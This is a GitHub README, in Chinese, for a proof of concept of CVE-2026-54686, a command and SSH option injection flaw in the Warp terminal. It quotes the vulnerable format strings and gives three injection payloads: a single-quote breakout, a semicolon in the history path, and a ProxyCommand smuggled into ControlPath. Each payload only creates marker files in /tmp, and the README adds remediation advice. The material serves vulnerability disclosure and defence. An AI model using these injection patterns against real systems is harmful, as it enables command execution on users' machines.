Saku0512/CVE-2026-54686-poc
GitHub: Saku0512/CVE-2026-54686-poc
针对 Warp 终端 SSH 会话命令注入漏洞 CVE-2026-54686 的概念验证工具,通过本地模拟重现并验证三类命令拼接路径的安全缺陷。
Stars: 0 | Forks: 0
# CVE-2026-54686:Warp 远程 SSH 命令注入 PoC
## 描述
本仓库包含 **CVE-2026-54686** 的概念验证(PoC),这是 **Warp** 远程 SSH 会话辅助命令处理中的一个命令注入问题。
受影响的代码路径在构建 shell 命令或本地 SSH 命令行时,直接使用了从远程 SSH 会话中获取的值。如果这些值包含 shell 元字符或注入的 SSH 选项,受攻击者控制的远程主机就可以影响 Warp 的后台命令,并导致执行非预期的命令。
此 PoC 是一次安全的本地模拟。它不会连接到 Warp 或任何 SSH 服务器。它重现了存在漏洞的字符串构建模式,并使用 `/tmp` 目录下的标记文件来展示注入的命令是否会执行。
**发现者:saku0512** ([GitHub](https://github.com/Saku0512))
## 免责声明
本项目仅供教育和合乎道德的安全测试目的使用。
作者对因使用此工具而造成的任何误用、损害或非法活动不承担任何责任。未经授权访问计算机系统是非法的。使用本软件即表示您同意仅在拥有明确许可进行安全测试的环境中使用它。
## 漏洞详情
- **CVE ID**:CVE-2026-54686
- **类型**:OS 命令注入 / SSH 选项注入
- **弱点**:CWE-78
- **影响**:在所连接的 SSH 主机上执行远程命令,以及通过注入的 SSH 选项可能执行本地命令
- **受影响组件**:
- `RemoteCommandExecutor`
- SSH 会话历史记录处理
- SSH 传输控制套接字处理
## 根本原因
### 1. 远程 cwd 命令注入
远程当前工作目录被放置在单引号内,但未对内嵌的单引号字符进行转义:
```
command_str.push_str(&format!("cd '{current_directory_path}' && "));
```
如果 `current_directory_path` 包含如下值:
```
/tmp/warp-cve-2026-54686'; touch /tmp/warp_cve_2026_54686_cwd_confirmed; echo '
```
生成的辅助命令将变为:
```
cd '/tmp/warp-cve-2026-54686'; touch /tmp/warp_cve_2026_54686_cwd_confirmed; echo '' && pwd
```
注入的 `touch` 命令会被 shell 解析为一个独立的命令。
### 2. 远程历史记录文件命令注入
远程历史记录文件路径在未加引号的情况下被直接拼接到了 shell 命令中:
```
format!("cat {history_file}")
```
如果 `history_file` 包含如下 shell 语法:
```
/tmp/history; touch /tmp/warp_cve_2026_54686_history_confirmed; #
```
生成的命令将在执行完 `cat` 后运行注入的命令。
### 3. 通过 ControlPath 进行 SSH 选项注入
SSH 控制套接字路径被用于构建 SSH 选项:
```
format!("ControlPath={}", socket_path.display())
```
如果此值随后被用于不安全的命令行构建路径中,例如以下值:
```
/tmp/socket -o ProxyCommand='touch /tmp/warp_cve_2026_54686_ssh_option_confirmed'
```
可能会引入额外的 SSH 选项。此 PoC 使用一个模拟的 SSH 解析器在本地对这种不安全的分词方式进行了建模,并且不会调用真实的 `ssh` 二进制文件。
## 概念验证(使用方法)
### 1. 环境设置
确保您已安装 Python 3:
```
python3 --version
```
### 2. 运行所有漏洞模拟
```
python3 poc.py
```
预期输出将包含标记文件创建成功的提示信息:
```
[!] SUCCESS: /tmp/warp_cve_2026_54686_cwd_confirmed was created.
[!] SUCCESS: /tmp/warp_cve_2026_54686_history_confirmed was created.
[!] SUCCESS: /tmp/warp_cve_2026_54686_ssh_option_confirmed was created.
```
### 3. 运行单个案例
远程 cwd 注入:
```
python3 poc.py --case cwd
```
远程历史记录文件注入:
```
python3 poc.py --case history
```
SSH 选项注入模拟:
```
python3 poc.py --case ssh-option
```
### 4. 已修复行为模拟
运行修复后的构建器:
```
python3 poc.py --mode fixed
```
修复后的模拟会对受攻击者控制的值进行加引号或转义处理,因此不应再创建标记文件。
## 验证
在运行漏洞模拟后检查标记文件:
```
ls -l /tmp/warp_cve_2026_54686_*_confirmed
```
清理标记文件:
```
rm -f /tmp/warp_cve_2026_54686_*_confirmed
```
## 修复建议
尽可能使用结构化的参数 API,避免从受远程控制的字符串构建 shell 命令。
当不得不使用 shell 命令时,请针对确切使用该值的 shell 上下文,对每一个不受信任的值进行加引号处理。对于单引号的 POSIX shell 字符串,在拼接之前必须对内嵌的单引号进行转义。对于传递给本地 SSH 选项的路径,应将其作为路径进行验证,并将每个选项保留为单个结构化参数,而不是重新构建 shell 命令字符串。
## 参考
- [Warp GitHub](https://github.com/warpdotdev/warp)
- [CWE-78:OS 命令中使用的特殊元素的不当中和](https://cwe.mitre.org/data/definitions/78.html)
标签:Cutter, PoC, Rust, SSH, 内存分配, 命令注入, 安全漏洞, 暴力破解, 漏洞验证程序, 网络流量审计